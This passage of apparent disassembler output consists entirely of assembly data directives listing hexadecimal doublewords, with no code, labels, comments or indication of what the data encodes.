83006E94h dd 90DAEE96h, 0B0C35Dh, 2D28120Bh, 0E08B237h, 0D7FE600h dd 246B63E4h, 572000DCh, 70F0B5F8h, 0E009656h, 9A41E1A7h dd 6F9C4Ah, 0ABC568A6h, 7E91A4CDh, 0D500B4EAh, 0FFBBF259h dd 360732Bh, 0EDBEA6D4h, 37B097CAh, 0F400DB7Ch, 3290E88Ch dd 7F17751h, 274BC8E3h, 0E6D1A0F0h, 73FE6B69h, 4D5FF600h dd 0F544514Fh, 68BA3A29h, 75910070h, 24233222h, 0A53BF919h dd 3E9200F1h, 0B8D4A1CAh, 393D0031h, 0AF1B8596h, 0F517020Bh dd 510052FCh, 5E649D5Ah, 625D3C99h, 8F29B600h, 5369E778h dd 3095D000h, 8284ACDCh, 32BE03Ch, 0A723081Ah, 18B2AEFAh dd 3AD9BD60h, 77680900h, 0E299667Ah, 3F0F63Dh, 0A02350DCh dd 73A8CAE8h, 121C71A1h, 81DE7EA3h, 26BCBDh, 3B86314Ah dd 0A4B2D1h, 0B4987AECh, 8B15ACE6h, 0B6EE6275h, 0F3008E72h dd 0C36843CCh, 5CF4032Ah, 82005EC5h, 52BD7BD4h, 0EC00A3D6h dd 6E214EEDh, 78938790h, 30D3000Dh, 3D7F6D4Bh, 0B9F618CAh dd 562E60C0h, 95ECEA0h, 0C8E45846h, 59630400h, 0CB002D03h dd 0DC7A3A57h, 6390368Ah, 46D9406Eh, 206107D9h, 0A9004BFAh dd 917DAEA3h, 97B78Dh, 6CD25829h, 62141E73h, 997AD71Dh dd 0A0780941h, 0EAECED3Fh, 0E018900Ch, 18C007Ch, 811E3680h dd 5914B5D8h, 4CFCD64Ah, 5A2B003Ch, 24B0078Ah, 6718C053h dd 226A2315h, 49622505h, 69C09C85h, 79CE382Eh, 0F5D400B9h dd 0DA6928C9h, 0DD00ECD0h, 76648CBh, 964116h, 0DC327FBFh dd 3F1B0D13h, 0F9923500h, 0E65B6BD3h, 0B0DE0052h, 1564F266h dd 2A0154C1h, 38C75630h, 0C20DA7Ch, 3696007Fh, 464EA2E2h dd 0AD002713h, 0D6DBA507h, 21A37Bh, 19652512h, 2D43BF4Bh dd 0C63C76E0h, 0C1F901CFh, 933DAF4Ch, 457024h, 548E3F55h dd 0FB49A177h, 2EAEE707h, 0C0D7D8C2h, 183D7E60h, 0F79C004Fh dd 3BEBA08Ch, 0D801E994h, 5165A8F3h, 9830FED3h, 84E30F50h dd 6C40D69Ch, 1D1BE544h, 0A8709D00h, 8AAC1174h, 0C2DF0A0Eh dd 0A854F0h, 8635D0CAh, 0AD248065h, 3800AC40h, 7AB75E42h dd 0C445002Ch, 306B641Ah, 0CA1E6F90h, 2402FDEh, 71794352h dd 6009EA45h, 0D48C485Eh, 0C51FE942h, 0B6C24DA8h, 48FC7424h dd 9ECCA8h, 1A888A09h, 0D05B4091h, 0DFDD7001h, 641EFAF3h dd 0C9D5AC50h, 8472452h, 0ABFC00D8h, 0D121EFD8h, 0FD1F5B71h dd 0F6006909h, 0C57291BCh, 164F00E7h, 0EC93215Eh, 310051ACh dd 0CAFDCC3Eh, 1FA18Eh, 0E3C954C0h, 478AA2D2h, 0D6CF60E3h dd 9B1FB277h, 893E899Ah, 684E4Bh, 65F4F034h, 0E8E70383h dd 8F995ACh, 4E27000h, 56C2922Eh, 45F439D4h, 0B3BB0B06h dd 1F002037h, 7F29657Eh, 0FEC1A3h, 0D78BA2A1h, 1AF138E5h dd 9D311F00h, 44B1900Dh, 0AC143998h, 0B7342282h, 60D5381Eh dd 678430h, 491DAD8Ch, 7C4BE5A0h, 29E2638h, 2989CEEFh dd 0A4C0C00Eh, 77D81FD5h, 9BFC0C3h, 0FE3FAAB6h, 7976497Dh dd 0EB50F507h, 8107BD8Dh, 0E7AE8310h, 657DB3h, 409A7321h dd 591133CBh, 4FC0B500h, 0E997221Dh, 0F5523EDEh, 729B0F8Dh dd 0FD7C2028h, 0E0773E8h, 0C10D94DAh, 249C390h, 643C7738h dd 0EEDB8159h, 833319C0h, 62C795Eh, 0AE1B02C4h, 0DCE420B1h dd 4406D4F2h, 0F782E01Dh, 4A780039h, 26227BD0h, 0DB007642h dd 0A7919C28h, 3AE71309h, 92831A7Eh, 88AED7BFh, 0DA7774F8h dd 0B9DE1500h, 84E934E8h, 621B000Ch, 0A11B4FBh, 44008C46h dd 819D73A8h, 2487BDh, 5ACE7C36h, 478228DFh, 5C547700h dd 1E5FD968h, 0E08AFE7Ah, 363000ACh, 9E0FE63h, 7839EB0Eh dd 0E341001Ah, 7D199CA8h, 3B4F6A1h, 0DBC72FD6h, 90B73F88h dd 48E88477h, 0D21BA305h, 0B0832469h, 0C1758230h, 0E9F47854h dd 10FA2444h, 0A4C2808Ch, 82DE94FFh, 8D954803h, 0B86DD85Ch dd 7EE8E6h, 46098896h, 483A985h, 0A02CB100h, 138EBCF5h dd 38284884h, 4559B800h, 0ACD6E814h, 0C8D048h, 0FA39D98Dh dd 9A84AEC6h, 77550438h, 0C06C9022h, 5E41E8E8h, 0F4283Ch dd 0B8627F3h, 1D66F7B5h, 40C9A3E0h, 31B7935Fh, 600C888h dd 0CBEEC685h, 2497DA37h, 7C14E5h, 2DE2440Bh, 0C1241FEAh dd 2428BCDDh, 0D829D900h, 99EC835Eh, 206300B3h, 36B2C15h dd 18000B24h, 5453F3ADh, 207443Bh, 1C7ADBC3h, 38CB8C15h dd 4CE1D490h, 6449CC90h, 2ED20BE8h, 0FC682761h, 50F79527h dd 6B90F682h, 77E8E80Ch, 475D00BDh, 9E7D521Bh, 0FD09A286h dd 801AD429h, 78CDB02Ch, 0E88DF234h, 0EE9A0089h, 6C4402Bh dd 801FB211h, 99406EB1h, 0B382FE88h, 0F32D00BFh, 0A6FDA35Eh dd 2F3A4E70h, 3FCC89h, 1CA01D94h, 13A2E602h, 8553188h dd 901C01B0h, 37A436C3h, 0F9B90114h, 0E22A6E6Ch, 844C74B2h dd 4900DC79h, 3BCDFF7h, 740D2Eh, 0AE1A6537h, 41F491FFh dd 98094301h, 62B48AB7h, 8961C840h, 59D3005Bh, 0A8EE0C28h dd 5F397C33h, 4CCD2E86h, 0C166EB0Fh, 0C741B0DCh, 0CA4560h dd 0CB722036h, 0D68967Dh, 0F0F2BEEh, 60C58646h, 87A39E2Dh dd 344712CCh, 701C078Bh, 0DDB0A0C9h, 7002C51h, 0A8FDAF78h dd 0E68C8F26h, 0E0020998h dd 0D1092D63h, 3400E5FCh, 0E995BA6Eh, 0A27F8Dh, 7153D47Ch dd 63BCDE3Dh, 681A5109h, 0CF7A006Dh, 0FC259135h, 0C2D20016h dd 0F51E0B8h, 400A59Ah, 0C9DFC081h, 4EF4792Fh, 7DC0000Dh dd 3132775Fh, 5925A00h, 0F2647F2Dh, 0FF41073Eh, 9096CFC3h dd 1F081B2Ch, 12CC7300h, 0A70A659Dh, 0B10E26B9h, 0E8FD3DF4h dd 7CAA0163h, 0B82ED1D8h, 894474C4h, 710CB248h, 0D50068B0h dd 2544BFA1h, 0D970F7h, 3BE041B5h, 16B6E790h, 0DABB1700h dd 9ACB6862h, 463F00FCh, 2D7D8FEh, 0A00020B3h, 54B09565h dd 2CC07F33h, 5830EB44h, 9300A8A9h, 0D018FEB2h, 0D38D67h dd 0CFB972F2h, 0B1C0AB7Bh, 116FDF00h, 9DB7999Ch, 3E280079h dd 0BCA5B9EDh, 7700A3F3h, 6B629EEh, 9FF8E23h, 9C89F127h dd 499F0380h, 3E005875h, 0BE31E34Ch, 1C6D76DBh, 4E3C2BF9h dd 8F00FC6Ch, 0B4789967h, 8C4CCF00h, 64D41A50h, 0B0BE0F35h dd 5D409D88h, 3D7492D0h, 0F88DAC38h, 1CB2A203h, 9CA14Ah dd 0D8C18648h, 0D571CD28h, 0F682A800h, 483C9026h, 0D0060751h dd 20220D6Ah, 0F959695Eh, 8F23100Eh, 0C7A58254h, 0EBC8C07Dh dd 4DC800A3h, 0D93BD061h, 0E500A1F4h, 5BCCBC24h, 4C5F53B9h dd 0B240901Ah, 4EF126EAh, 97BE0718h, 663970E6h, 900AB5Ch dd 28D502A2h, 30C5803h, 0F85B3D41h, 8097E1B1h, 0BE81682Ah dd 332684BAh, 0F300AC45h, 5855EE09h, 0EB8E009Ch, 0CB769D07h dd 7A79A27Ch, 3CE09B48h, 6189028Ah, 80C183B4h, 0FE95C2D0h dd 0E714009Fh, 0BE965140h, 0DC0062E2h, 5E88CEB2h, 0B78C5EDh dd 72A2B732h, 0FDC12800h, 7EFAE3B1h, 3BC223Ch, 377C4A42h dd 0B8F29038h, 86D706C7h, 0C4B53653h, 3ED078C0h, 47155Eh dd 0FA17E33h, 756F4BADh, 0FAE89D00h, 49F0A6E6h, 297557h dd 0BC0E38D3h, 821C11CDh, 5018781Eh, 13754D01h, 0F8202605h dd 0B03D0053h, 451EABFBh, 0B4548311h, 3700398Ch, 44FCF924h dd 50CFCA72h, 8EE28Dh, 28B484DEh, 20AA1225h, 0D509DAB0h dd 18C17Ch, 359B2A70h, 0F35C00E7h, 723CC773h, 7A0083F8h dd 4DD5D739h, 0A1041h, 0A5B0E6AEh, 47B7D386h, 6FDE9A00h dd 373E3469h, 0C65A027Eh, 0F8C548A8h, 0BDE6BBC0h, 2E41BE00h dd 0E9DD59C0h, 3E0B091Eh, 0F25CFA79h, 9929003Bh, 43AAFB75h dd 0BA650052h, 9D93A4D3h, 0F001A38h, 5F120437h, 240D63E7h dd 82D4C92Ah, 0A0271BCBh, 0CC890440h, 0EFA464F7h, 0F06D6201h dd 8F132106h, 0CDCA865h, 70884808h, 9383F00h, 0FB30D1Eh dd 0E6EBC712h, 8FD0C00h, 0C080E0B2h, 1869E2C8h, 0C180401Dh dd 12D7005Bh, 5C21F784h, 0D0BA78Dh, 801922EDh, 0ECA49961h dd 0F1B0039h, 0A2929FDCh, 42E02F0Bh, 0AB06050Fh, 3A5F40EAh dd 1868495Bh, 0C8B5BCA1h, 0EC126967h, 8F00BAA0h, 82DC56C3h dd 77219896h, 0B8F097h, 0C8661379h, 2A883FD6h, 92B90116h dd 63AE09h, 9DEE2FC4h, 65323B07h, 21139400h, 0CCF49C41h dd 0D8006C4Ah, 0DA5B5ECh, 2A3E30A1h, 518673F0h, 86A9F02Ch dd 2316FD3Bh, 520075C4h, 0DEEBA228h, 305379A7h, 0F5203976h dd 10034E8Ah, 2BE4FDC6h, 22BFA8BEh, 7BCC00A9h, 18957DAEh dd 49039D20h, 0B6034016h, 0CF58D976h, 0E4F07771h, 4F3800B1h dd 8D32656Bh, 82012B56h, 8E44581Ah, 39F8F498h, 0B0280F0Eh dd 0F380D16Fh, 489489D8h, 0E8078000h, 1BE53036h, 5F7D20h dd 0C3EAC5FBh, 6FF139C1h, 54743B00h, 0AE649E29h, 4FB100BAh dd 4ED995F2h, 4B0EA366h, 7292E4Dh, 7B9FA9Ch, 301028A8h dd 2A649h, 9382BA9Bh, 0DF01662Fh, 73011CB2h, 0B9E98EF6h dd 4C750579h, 4846B360h, 0A102CF25h, 305BC4BDh, 0C7CE2640h dd 84591B3Dh, 904B7E3Ch, 67234890h, 792B00C8h, 0A9918D57h dd 0FD008CB0h, 0EB9ECB12h, 5B07FEh, 0FCC25990h, 3BE13C4Ah dd 0B09C4E00h, 60B3CA0Bh, 2516072Eh, 2F564C24h, 5E68A6A0h dd 0B40092E0h, 21B01C89h, 0D48128h, 0A2EA936Fh, 924DE4A9h dd 0B204AF00h, 0BE1CEB83h, 385FEAAh, 6EA8FAB0h, 0E7D0DC5Bh dd 0EBB8FB4Fh, 12008B71h, 40AA8023h, 1C20E1Eh, 0A5512FC5h dd 0DC52E5CAh, 0CD00F24Ch, 40DBF9AAh, 9980C2h, 7E9766Eh dd 31660BB6h, 0F84AEC26h, 0FA3BE760h, 33403FE3h, 562512Eh dd 0D08BEA4Ah, 2C64EFD4h, 907D3B1Fh, 9E54A140h, 0FB5F36A9h dd 888CD443h, 5FA7528h, 740752E7h, 34C7EB78h, 0D4326D70h dd 0B9AFCD7h, 49D9644Dh, 0F0BB0CA0h, 704CE331h, 0C7200E2h dd 0AB68C51h, 13228B8h, 1F3001D4h, 81882967h, 4798241Ch dd 0BD2E1500h, 560EDA18h, 0E07A05ADh, 1DE89997h, 350FC0C8h dd 52F2C7FAh, 0CCE3CD00h, 4FBF4D10h, 0ACD44C29h, 0C332D100h dd 0A68BE6F3h, 0F9B8EA00h, 7898E895h, 0BC67399Fh, 0CF1A6480h dd 609EC3D4h, 0D26A3B03h, 0D8B61DABh, 12F8BBDBh, 18190Fh dd 68BDDDA1h, 5F003562h, 4D9C4F04h, 72802BD8h, 0C354B01Ah dd 0BB57529Eh, 3FC178BAh, 6440C26Bh, 0FD0014E6h, 0F2A8A390h dd 98BE113Ch, 7C507298h, 0F1BD24C3h, 0CC580066h, 2F06B79Eh dd 0A21C2894h, 1F1DC31Eh, 5AF48Bh, 361144ECh, 82EC38A8h dd 33351C00h, 9C0BDD91h, 1A4D0C00h, 0F2348D68h, 4725B20h dd 0C0DCCD0Ch, 3F252A57h, 9EC27C1Fh, 562B7E80h, 28D2E11h dd 379A4935h, 8C80F607h, 0E866AC3Bh, 84D4A00h, 13C4754Bh dd 0EFCE00CCh, 90FBC78h, 8E0CB61Ah, 0D0B9A881h, 3D55001Fh dd 18FC369Ch, 1A006534h, 3C2AFF8Bh, 0B86809ECh, 0CF8700E1h dd 0D5448085h, 1002FE7h, 5F05B38Ah, 4CDE9D1Ch, 0DD00787Ch dd 170478E1h, 1E000201h, 0B638F995h, 1C6B241h, 45D74215h dd 0EC80A471h, 3B07BCC5h, 2BEA60E2h, 1D330C00h, 98D76063h dd 9DEC0E25h, 0B1764000h, 0BAAF35E4h, 7E070021h, 30391970h dd 79021F17h, 8E843B34h, 2D4860BBh, 3F621F8Dh, 1D45C0D5h dd 0F1A82208h, 3DF28F00h, 78801158h, 6DD72444h, 9360004Ch dd 0A7BF643Fh, 7338960Bh, 7C5880C3h, 0E0E05332h, 1C9F4CC6h dd 1AAFE400h, 7B970149h, 20A8F000h, 6FD6168Dh, 9041h, 0B580DF34h dd 0D5705507h, 68005376h, 0F465AD1h, 24CFF63Ah, 598026Fh dd 29914F5h, 7ACEB08Ch, 0F042CF0h, 5F6ED52h, 36758880h dd 140D0220h, 0CA64F4A9h, 4E7340DFh, 2613056Bh, 0C0C39305h dd 8238817Ah, 6FB35C0Eh, 3567C048h, 31D845E5h, 0ACE8A961h dd 12FEE0A8h, 1566891Fh, 0F57CB1C3h, 4D18A07Bh, 0A380A0B7h dd 0C81E5C51h, 0C480E13Fh, 64D90AC7h, 675A5C5h, 47F94D01h dd 0C377679Eh, 5C7DD470h, 34281C20h, 0C0100F4h, 0C9D2E2F3h dd 0DD2CF0E4h, 7800B494h, 2B67E82Ch, 0AC28CF35h, 0F8AF3020h dd 0EE4864AEh, 0EA7D00BAh, 50FEC788h, 0BDAD2860h, 2687ADEh dd 0F0EDFF52h, 2E628B1Fh, 8070A426h, 48DA488h, 0DB027590h dd 0D2498441h, 3722E007h, 255A0005h, 3C76AF7h, 2C0FE374h dd 82D0D68Dh, 0E07047BAh, 9D41578h, 0F439CF75h, 84E04C09h dd 0A507AB57h, 7124EF9Fh, 834B2B07h, 0E08F961Fh, 9CAEE201h dd 0F3C68060h, 986CF750h, 3C249716h, 0FC04E4D0h, 9F4ECCh dd 5AAAC090h, 7407D773h, 0EC34C8B1h, 455549F0h, 9357074Dh dd 90173DE2h, 0A508B7E1h, 9D1FBF70h, 1E1787D9h, 0C21028D2h dd 0D336C194h, 1BD8E8C5h, 51920909h, 58006487h, 2FE6D00Fh dd 10638930h, 79BBB1h, 53F88830h, 5F51A4F4h, 96BD1200h dd 0AE3CFEAFh dd 63720Bh, 0BC8191A1h, 2004B21Bh, 28E558h, 66E1A8A0h dd 0A236464Ch, 0C0D94290h, 0B44E170Eh, 61A1BA14h, 10900797h dd 2485524h, 2CF4B6C3h, 6078DD46h, 6C649201h, 7049D056h dd 43007C3Ch, 0E64B4EA7h, 0E7398133h, 210D0A5Eh, 5A00FDC9h dd 0DE6B2866h, 52D4A8CDh, 0F70D0140h, 159BD4F9h, 1C79EC4Ch dd 20D5992Fh, 19F4D0B8h, 24F00F29h, 6EE00EF9h, 96B1FD59h dd 1AD46F01h, 0B652C90Fh, 9E3F9980h, 51ACE8F3h, 0CD313000h dd 39FBB1F4h, 0F0E3091Ah, 0D4A3C2D6h, 0A3D85DAAh, 0AF071D9Ah dd 0F84FFEC1h, 0DF8C200Bh, 992F9h, 0D24D5A46h, 6CCF0EA9h dd 94210F61h, 3D3002D0h, 526D1282h, 0A6144034h, 531510A2h dd 0ED71A57Ah, 4D1EF700h, 1FFD5CEFh, 8F2C0009h, 0B35E2B2Dh dd 0D48E130h, 28230FDCh, 0FC1401Ah, 6163346h, 9A3D56E6h dd 0E001008h, 0BC4042E7h, 0AEA3DDh, 1BB80C1Ch, 69DBFB82h dd 38A798A8h, 400008DEh, 5ABBE307h, 91964AA8h, 76ADE24h dd 0B5CF3B90h, 2D100115h, 0C6F3D77Fh, 797600EEh, 5FDF0975h dd 75D0C32h, 162092B5h, 983C536Eh, 0EAA50504h, 8160D3AAh dd 7009B720h, 7D044C70h, 0DEB5ECEFh, 980DA8C0h, 2B9E005Eh dd 17CFE016h, 3F1FB294h, 0C0000C22h, 0DDEBB6AEh, 8ED901BCh dd 90E1E0A0h, 1EE06F6Fh, 52E609EFh, 3080EAF5h, 0FE515C36h dd 0FCA08400h, 45F6BC99h, 635B076Dh, 0A019FD92h, 77D33B5Fh dd 348B4Ch, 9E13F688h, 26D4F8h, 6844E21Ch, 0C8C14A41h dd 0E0CEE100h, 62F9458Ch, 703903D6h, 5CF4BAD9h, 0B381D8B8h dd 1FAB1100h, 29FB693Fh, 743C003Eh, 0A44B8D04h, 4200A9C2h dd 36BDDC45h, 4E6B21h, 0BBFDAAD4h, 96947B9Eh, 0B76D7503h dd 0E076DA98h, 153899ADh, 0D8090E8Eh, 70D90500h, 1C1BE631h dd 3877A07h, 0C0877F4Ch, 23080369h, 40A4B2E5h, 162CF87Ch dd 1DD84F4h, 0D3E3E00Ch, 575BFCA7h, 4A40DF00h, 0B4D594C8h dd 0A5ED3CECh, 63E3E780h, 0F0315B87h, 8D1F270Fh, 0A4C037A0h dd 0B6D913C0h, 37F39F4h, 3B83E7Fh, 92E45011h, 10607428h dd 1D49AA91h, 2D5A1F7Ch, 0FC703D92h, 2CE59B89h, 0A6025F5h dd 4E641B94h, 848092BAh, 382F1188h, 23F49C49h, 46320019h dd 0CFA5ED8h, 1210C63Ah, 589CFDEBh, 0B69B0024h, 7802462Fh dd 0E51F19FBh, 207041D2h, 65B7BCh, 6D63A5ECh, 1D9B07F0h dd 0A48EA712h, 24C08C57h, 4E1125E5h, 189C0085h, 46345710h dd 5A3C8303h, 0B44C48E2h, 0D0EFB2C0h, 0FEB500A4h, 56F176A2h dd 1E0307B7h, 2AFA4F8Fh, 6FDFF845h, 2A80732h, 500EBCA7h dd 8F863422h, 0C700BDFEh, 78CD2F94h, 0F0968DDh, 43D2B407h dd 95C8B920h, 9F00A11Ch, 1F52E506h, 0A3E653h, 0A6053F8Bh dd 294C2F36h, 4FA6F2Fh, 0E88C70D8h, 0F35640D2h, 5548E601h dd 9A3C0213h, 2CA0074h, 0B59412Eh, 0DC403F16h, 0E904C469h dd 0B8B0C1E6h, 0AFEF2CC0h, 3D4400C9h, 0D7F2AA74h, 0E52E4DAEh dd 9104ECF8h, 9A09D615h, 0F15C1C20h, 0A001653h, 0A98C9CBEh dd 0E5B52743h, 0C030D053h, 6D64FAEh, 42A77E51h, 280518B3h dd 712FF380h, 2940B81Ch, 193682EFh, 58430011h, 2E8E351h dd 0ACF2385Ch, 0CEC3F109h, 4D30002Dh, 1466ADh, 24E7AFE3h dd 0F13E5452h, 65D4B800h, 9A84421Ah, 0DEFE1EEEh, 0FFFC00ADh dd 0B43F45DCh, 40ECA000h, 0ABF82AD4h, 6EE53C5Eh, 70B76A00h dd 41D7A1EDh, 957D2800h, 5CC48C71h, 90A74AA4h, 0B87661CCh dd 1B500600h, 9E2B112Ch, 0B990051h, 0A490A3DAh, 663964E8h dd 6FD801CFh, 0D16D395Ch, 0E6C97C20h, 0A3E74F3h, 54A52E88h dd 534F058Ah, 80E403F0h, 0FE903C61h, 0E0276DBh, 7DF3ACC8h dd 145858h, 0C6BE0BA8h, 3D356040h, 24B1C52Ch, 649E7D80h dd 7D6E10ADh, 0F694FDh, 58E77E04h, 120094A1h, 0CFC72964h dd 25BE8Ch, 81240E80h, 11BF832Fh, 2BEABC12h, 0F07120C0h dd 47ED00A1h, 0E6857DCFh, 6F0FDE50h, 52B62693h, 1484F412h dd 0AD77F0C0h, 0B7D606FFh, 187DFDD4h, 51E84700h, 58BCF99Ch dd 0C2ED24E3h, 14BD83ECh, 0E085833Eh, 8817F1D0h, 40AC39h dd 0BB11FFAEh, 2D0A2FE1h, 13FCA491h, 942AA082h, 450E5A72h dd 154B890h, 49E14DF8h, 0DF00203Eh, 0AC604A3Dh, 58006029h dd 80D1F1E2h, 51BD007Fh, 24FEEB1Ch, 5300CF73h, 0C61D41C3h dd 253D03h, 8A2AED4Bh, 22B92E04h, 80C7FB3Ah, 4773AE52h dd 0F97D93h, 0C1A5AC0Fh, 2CF3A5Ah, 0BB7C7104h, 56808022h dd 0E5B7E57h, 0F14363E2h, 0BE904EA0h, 590F25DBh, 823AD860h dd 804DECCFh, 0E5CB5188h, 45D30223h, 0D749AD71h, 0D088E8A0h dd 3E58214h, 722ECFEFh, 9FC00C40h, 35654B1h, 0AED01B69h dd 99D0CA8Ah, 4400AD0Dh, 0B897334Ch, 7FB6AF3Bh, 1480B04Dh dd 0C0A39BDFh, 77DD1EC0h, 0BE17F8EEh, 9840D946h, 0B4388156h dd 139600D3h, 7D230610h, 6C2C2E92h, 4A1C90FEh, 82396189h dd 0C017C334h, 1464BEAh, 0B081B3Eh, 0C1BD89B3h, 0EACBEC19h dd 80AADF00h, 0B8A35A45h, 224200F1h, 0A1F30236h, 2E030BBEh dd 3DDE1F1Bh, 0C6F400FAh, 0CBF837ECh, 38004B2Bh, 798A9554h dd 3E820776h, 0B76D652h, 90A18F0Ch, 269BECE3h, 9A8DFDA8h dd 94F838h, 61EAC54Fh, 7A3029E0h, 0FEA7001Bh, 983326A8h dd 49FE9CD2h, 153E6200h, 0FB44268h, 9BFD0041h, 0AB30950Bh dd 7B982293h, 6F7E8807h, 8D7082A7h, 360586h, 0D5D8EA48h dd 2429B0ECh, 1C033F3Dh, 0AB800E2Ah, 0A955FD12h, 34E80058h dd 4ADD7AF9h, 0A00017E0h, 5456295Ch, 0F5070Ah, 75D09ADCh dd 0C921C49Dh, 0AC03B500h, 87449204h, 93BB0731h, 2090DC1Ah dd 46CCB81Dh, 56DDDA01h, 0CDBD4FB6h, 0BA2CD4h, 0F93093D8h dd 0A6C1C361h, 9484FA00h, 7E9EB104h, 0ECC8072Ah, 65C53185h dd 446090E6h, 0FC001529h, 0F610A9BAh, 0E2A656h, 68AABC50h dd 8FDCE57Bh, 0C5BF7000h, 0D376917Fh, 0A82A17EAh, 2058492Bh dd 4384487Bh, 0A8A04BC4h, 10800075h, 0ED4D897Ch, 90FE0FCBh dd 0A8D09D16h, 0E0EA330Eh, 0D9744F18h, 52F21CB8h, 978C0D4h dd 7B200F82h, 0C2ADE007h, 6310C442h, 7F6E8CD0h, 8E060005h dd 0EE6DE3D1h, 10BEA21Eh, 0E03A3F0Fh, 0BA68C1B6h, 54B236h dd 0FCF3A9B8h, 0D56A025Eh, 18092630h, 7453E4B6h, 68C315CFh dd 0AB2018A0h, 6A0D8E1Eh, 37026E40h, 0D05457h, 0DF0E7DE9h dd 8314CCF4h, 1F4DBCA0h, 0B6C9E000h, 0BFF9804Bh, 3D521404h dd 267F4CF7h, 80806109h, 0F1371502h, 0D77068BEh, 81CEF28h dd 0F7283F07h, 0CB201253h, 0A8F36CCEh, 4CDEE5B4h, 0A9001157h dd 0D19CDF36h, 0A600A54Dh, 0E449546Eh, 1F980B2Fh, 9C39592Dh dd 23F9C0B3h, 0A3161413h, 620EDAF8h, 23541EBDh, 1053493h dd 3FA5B18h, 0F47B10EFh, 45065A66h, 35FF21C1h, 0DA361320h dd 54E4C037h, 0FA7FAD61h, 7B009590h, 11A559A8h, 18E5513Bh dd 18B081ABh, 0B53521CAh, 608340D6h, 6E3C7B6h, 0C271C024h dd 281B60BAh, 7C72B553h, 79F88CA8h, 0A855E238h, 0F9D7B039h dd 501E8C56h, 91CA8930h, 8451C77Eh, 0E733C1F4h, 0AAD1871Ch dd 7B601EABh, 6710C638h, 1ED3416Fh, 0B7786B61h, 56CC50BDh dd 44181924h, 0A510FB23h, 0B98C0ADh, 0D555F073h, 5439F40Ah dd 7E006033h, 16D92E68h, 38D103BEh, 896695C0h, 578058A8h dd 9D2A3200h, 679939DEh, 0C6AC3E20h, 0F95DCF8Fh, 9032F607h dd 0BF08698Ch, 59DFD30Fh dd 718F803Dh, 4C7F86BCh, 5D0042A1h, 0A85EC15Ah, 3C07B9B3h dd 71316E55h, 3F95B411h, 1C7B08D4h, 80A49C88h, 0D41E7EB0h dd 0E700DDA3h, 0C409331h, 7AAB7D38h, 0D8DA157Fh, 3624A4D9h dd 0BA5F0063h, 28F6E16Eh, 0B4AD1709h, 1450105Ch, 90AE54BDh dd 85754FB5h, 0E5C03E4h, 10067C60h, 7038A5AEh, 0C0DB3918h dd 0FEDF7D74h, 65E0E97Fh, 6A550068h, 521D03A3h, 9A03A657h dd 0F8EDA4EAh, 0EC16C028h, 454B0AD0h, 3E38B917h, 8B4C0070h dd 4438488Ch, 0B9C0F022h, 0D5C3BAA4h, 0A935610Fh, 0E8110727h dd 95002E8Bh, 4EB20B9Ch, 0B4A31Dh, 0D35D0DFBh, 3746715Ch dd 0A026579h, 472F1BF4h, 0DBF4493Fh, 259A20h, 4D468690h dd 0D74C05BBh, 0C2200890h, 4FA20068h, 24CE7759h, 0FA009E5Ah dd 0BF7E0F87h, 6FFBBAh, 0F5EB9F37h, 3308DD3Ch, 0E4008275h dd 0F4850C5Fh, 187CCEAAh, 40BB7F83h, 8C0C6D1h, 8F1AD2D8h dd 2526071Fh, 90EFBDDDh, 6E4D0B7Ah, 0ABAD8018h, 734AB529h dd 9D0400BBh, 19C578B0h, 6C0835A9h, 474453DCh, 863FB06Eh dd 0F40E1DD3h, 801037D9h, 1B6E65Fh, 0F2A4008Bh, 0A2958879h dd 290794B1h, 0E590885h, 0B4840F31h, 3A0CD0F0h, 0D70F8BF9h dd 8E23E2E3h, 6000D1E4h, 0FF3F12CEh, 703132h, 0DEEBF054h dd 0EA057155h, 89AAD730h, 7B4A3Fh, 0E9E1B9F2h, 0E8E5F80Ch dd 53E4427Ch, 0AF011C74h, 2F6ECD57h, 0AC5167B8h, 4180A3D1h dd 0A9174DDDh, 4E00BC2Dh, 871FDC20h, 7845747h, 0BAED3EFDh dd 85E010F7h, 0CD61A6D0h, 1FA9BF39h, 0EC07A8BCh, 267C5905h dd 0A2016196h, 7AAAFB9h, 6BFC1083h, 0D93467E5h, 9ECC538Fh dd 5FF15380h, 708A907h, 1E333FF2h, 500FF07Fh, 180D2716h dd 4D076EFCh, 14A0F9A7h, 0E0CBB50Ch, 0F45D0064h, 0DB924CC8h dd 0D2008D36h, 0FCA1D48Ch, 1682719Eh, 80E00AE3h, 0AEBF1080h dd 4039546Fh, 631FD384h, 7567849h, 0A311EAC0h, 711C30C3h dd 6403FFE7h, 7459D27Dh, 88BF9Ch, 6C03274Dh, 8C72204Bh dd 5840FC07h, 0B4A04C7Ch, 9B918Dh, 0D7DDC4Eh, 4A06E346h dd 0D9B5C000h, 0EF394B7Fh, 6E590C75h, 5689F679h, 620A3EECh dd 34B52ADAh, 8D3B2900h, 1E7D223h, 25FB0E3Dh, 0DC7F3646h dd 0F700EE43h, 0EF9CACECh, 506FCAC2h, 7F6C67h, 314C79D9h dd 0C586B0E9h, 0F8B4FB25h, 19DD010Ah, 5A6D2AADh, 6880F039h dd 5E639001h, 5FF97BD7h, 5894F89Dh, 282F51D3h, 0A84059DEh dd 0F3C7CAD2h, 0E59EEB9h, 0B03E8BBBh, 17E009EEh, 4C97C2A7h dd 0E1C15D00h, 65ADFD34h, 87D403DFh, 0B7D21886h, 0C24E0818h dd 0A51320h, 53631165h, 9A1AB952h, 6A988400h, 9877A7Ch dd 0B01300D7h, 17463CB6h, 390049B3h, 8D78C76Eh, 0B9474Bh dd 7B5D3484h, 0CB5E0CE7h, 44EAF600h, 0C76DFAEBh, 28AB6C70h dd 610C5D91h, 115F97F8h, 4E1007AAh, 0C0760A24h, 8628375h dd 57AEA80Ah, 465E6841h, 50E6485Ah, 350725E2h, 28986A41h dd 321BAA3h, 0B634F768h, 9000A0EAh, 9EDF81C1h, 7D113CFh dd 0D97A77FCh, 355643E7h, 8262000h, 3A5A99Ch, 0D197606Eh dd 7735FA7Fh, 10AFE837h, 5741A140h, 0F1025CACh, 0CE00A73Bh dd 60F35601h, 8E0035E6h, 0A034B6BFh, 0ED5E67h, 0AE3B453Eh dd 814B74E2h, 2D3FF600h, 0AFE04275h, 0BF880049h, 67A9DB7Fh dd 7B17FDB8h, 88004D20h, 89EA76E4h, 0CDA126AFh, 0F2003CD9h dd 996BE795h, 0F900E436h, 5E3D3166h, 7E7A02E5h, 71A91D25h dd 18243Bh, 0BA88AA8Eh, 7C0706A6h, 4B97990Eh, 50CD87E7h dd 0CD452980h, 505C01F1h, 89B11C0h, 3A3EB4Bh, 0D66C1734h dd 33A3168Ch, 0E1962118h, 0F2FD5748h, 86BA00B2h, 5E1E4CE2h dd 3A0F5B41h, 